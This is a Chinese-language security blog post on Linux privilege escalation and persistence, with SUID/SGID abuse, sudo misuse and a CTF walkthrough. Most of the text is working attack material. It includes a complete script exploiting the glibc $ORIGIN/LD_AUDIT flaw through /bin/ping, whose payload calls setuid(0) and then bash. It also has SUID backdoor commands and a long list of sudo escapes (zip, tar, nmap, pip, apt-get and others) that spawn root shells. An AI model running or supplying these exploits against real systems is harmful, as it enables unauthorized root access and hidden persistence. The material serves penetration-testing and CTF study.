Linux权限维持与提权

admin 2022年3月17日23:55:12评论455 views字数 4564阅读15分12秒阅读模式


 

Linux权限维持与提权用到了ATT&CK框架中的T1166技术,应用程序设置setuid或setgid位时,这意味着应用程序将分别以拥有用户或组的权限运行。

       当攻击者临时获得了root权限,而设置suid是权限维持的一种方法,将vim、nano等命令设置为特殊权限,如nano命令被设置后门,可以修改/root/.ssh/authorized_keys进行无密码登录,除此之外还有各种方式留后门。

 

 

SUID特殊权限提权

SUID的功用:用户运行某程序时,如果此程序拥有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而程序文件自己的属主;

 

passwd设置了特殊权限,修改密码时允许修改shadow文件。


 

Linux权限维持与提权

添加特殊权限命令:

Chmod u+s /usr/bin/vim

Chmod g+s /usr/bin/vim

 

当vim拥有特殊权限,可以查看shadow文件添加任务记录、添加用户、添加

/root/.ssh/authorized_keys



Linux权限维持与提权Linux权限维持与提权

除了自己添加外,还可以在当前系统查找是否有特殊权限的程序。

 

查找SUID、SGID文件

#Find SUID

find / -perm-u=s -type f 2>/dev/null

 

#Find GUID

find / -perm-g=s -type f 2>/dev/null

 

 

利用/bin/ping特殊权限提权

在某次实战过程中,遇到过低版本的Centos5-6,可利用以下方式提权:

 

在/tmp下创建可控制的目录

$ mkdir /tmp/exploit

 

链接到suid二进制程序以更改$ORIGIN的定义

$ ln /bin/ping /tmp/exploit/target

 

打开到目标二进制程序的文件描述符

$ exec 3< /tmp/exploit/target

 

现在可通过/proc访问描述符

$ ls -l /proc/$$/fd/3

lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target*

 

删除之前所创建的目录

$ rm -rf /tmp/exploit/

 

/proc链接仍存在,但已标记为已被删除

$ ls -l /proc/$$/fd/3

lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target (deleted)

 

使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标

$ cat > payload.c

void __attribute__((constructor)) init()

{

setuid(0);

system("/bin/bash");

}

^D

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

$ ls -l /tmp/exploit

-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

 

通过LD_AUDIT强制/proc中的链接加载$ORIGIN

$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3

sh-4.1# whoami

root

sh-4.1# id

uid=0(root) gid=500(taviso)

 

bash脚本:

#!/bin/sh

unset LD_AUDIT

rm -r -f /tmp/exploit

mkdir /tmp/exploit

ln /bin/ping /tmp/exploit/target

exec 3< /tmp/exploit/target

ls -l /proc/$$/fd/3

rm -rf /tmp/exploit

ls -l /proc/$$/fd/3

 

cat > program.c << _EOF

void __attribute__((constructor)) init()

{

setuid(0);

system("/bin/bash");

}

_EOF

 

gcc -w -fPIC -shared -o /tmp/exploit program.c

LD_AUDIT="$ORIGIN" exec /proc/self/fd/3

unset LD_AUDIT

 

 

在某CTF中的应用

CTF中特殊权限提权 BashSystem 1

进入到Linux中有三个文件:ch11、ch11.c、Makefile

 

ch11:

-r-sr-x---  1app-script-ch11-cracked app-script-ch11 7252 May 19 18:34 ch11*

ch11拥有SUID权限。

 

ch11.c文件内容如下:

#include <stdlib.h>

#include <sys/types.h>

#include <unistd.h>

 

int main(void)

{

    setreuid(geteuid(),geteuid());

    system("ls/challenge/app-script/ch11/.passwd");

    return 0;

}

 

题目的要求是想读取.passwd

 

刚开始把ch11.c的文件改成cat重新编译,发现是没有权限。

这思路其实是错的,这也是出题人希望误导的方向。

 

这里解题的思路是将cat命令伪装成ls来执行。

 

cd /tmp

mkdir exp

chmod 777 exp

cd exp

cp /bin/cat .

mv cat ls

 

linux 在执行bash命令的时候,是从环境变量PATH去搜索同名脚本的,所以把当前目录添加到环境变量 PATH的最前面。

 

export PATH=.:$PATH

 ~/ch11   //执行程序得到Flag

 

 

 

 

除了上面的特殊权限之外,还可以通过sudo留后门或者提权,SUDO则是用到了ATT&CK框架中的T1169技术。


sudo是什么?

给普通用户某个命令有root权限,并不需要给root密码,毕竟知道root密码的人越多越不安全。

普遍的做法就是利用sudo (Substitute User and Do 的简写)给其临时授权,临时让其以root 权限运行某个程序。

 

sudo的执行原理


普通用户执行命令 -> 检查/var/db/sudo/目录下是否有用户时间戳 -> 检查/etc/sudoers配置文件,用户是否有sudo权限 -> 执行sudo命令并反回结果 -> 退出sudo返回普通用户shell环境。

 

其中步骤2检查:时间戳默认从上一次执行sudo命令5分钟后过期。

 

/etc/sudoers或者使用visudo命令进行编辑。

 

文件语法:

root ALL=(ALL) ALL

 

root表示用户名

  • 第一个 ALL 指示允许从任何终端、机器访问sudo

  • 第二个 (ALL)指示sudo命令被允许以任何用户身份执行

  • 第三个 ALL 表示所有命令都可以作为root执行

 

使用sudo -l查看当前权限。

 

find命令获取root权限


Linux权限维持与提权Linux权限维持与提权

sudo find /home -exec /bin/bash ;



Linux权限维持与提权

各类命令特殊权限利用方式

zip、tar、strace、nmap、more、git、ftp、vim、passwd

 

zip:

sudo zip/tmp/tmp.zip /tmp/ -T --unzip-command="sh -c /bin/bash"

 

- -T 表示测试test.zip的完整性

- --unzip-command 与-T一起使用,可以指定自定义命令用于解压test.zip

 

 

tar:

sudo tar cf/dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash

 

- --checkpoint-action选项是提权点,可以自定义需要执行的动作

 

 

strace:

sudostrace -o /dev/null /bin/bash

 

nmap:

低版本的nmap3.x 有interactive模式,且设置了suid,这个时候可以进入交互模式 执行!sh 命令即可轻松完成提权。

 

 

echo "os.execute('/bin/bash')" > /tmp/shell.nse

sudo nmap --script=/tmp/shell.nse

 

 

more:

 

sudo more /etc/hosts

!/bin/bash

 

git:

 

sudo git help status

!/bin/bash

 

 

ftp:

 

sudo ftp

ftp> !/bin/bash

 

vim:

sudo vim -c'!bash'

 

 

perl、python、less、awk、man、vi

 

perl:

sudo perl -e'exec "/bin/bash";'

 

python:

sudo python -c'import pty;pty.spawn("/bin/bash")'

 

less:

sudo less /etc/hosts

v

:shell

 

awk:

sudo awk 'BEGIN{system("/bin/bash")}'

 

man:

sudo man man

!/bin/bash

 

vi:

sudo vi

:!bash

 

 

apt-get、apt、dpkg

 

sudo apt-getupdate -o APT::Update::Pre-Invoke::="/bin/bash -i"

 

sudo apt-get changelog apt

!/bin/bash

 

TF=$(mktemp)

echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF

sudo apt-get install -c $TF sl

 

 

ed、sed、pip、taskset

 

ed:

sudo ed

!/bin/bash

 

 

sed:

sudo sed -n '1eexec bash 1>&0' /etc/passwd

 

pip:

TF=$(mktemp -d)

echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh<$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

sudo pip install $TF

 

taskset:

sudo taskset 1/bin/sh –p

 

 

aria2c、arp、base64cpan

 

aria2c:

sudo sh -c 'cp $(which aria2c) .; chmod +s ./aria2c'

 

COMMAND='id'

TF=$(mktemp)

echo "$COMMAND" > $TF

chmod +x $TF

./aria2c --on-download-error=$TF http://x

 

 

arp:

LFILE=file_to_read

sudo arp -v -f "$LFILE"

 

base64:

LFILE=file_to_read

sudo base64 "$LFILE" | base64 --decode

 

cpan:

sudo cpan

! exec '/bin/bash'

......

 

Linux命令深度利用

https://gtfobins.github.io/

 

- [Linux下PAM模块学习总结]

(https://www.cnblogs.com/kevingrace/p/8671964.html)

- [关于openssh通用后门的拓展](http://0cx.cc/ssh_get_password.jspx)


本文始发于微信公众号(关注安全技术):Linux权限维持与提权

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月17日23:55:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux权限维持与提权http://cn-sec.com/archives/501443.html

发表评论

匿名网友 填写信息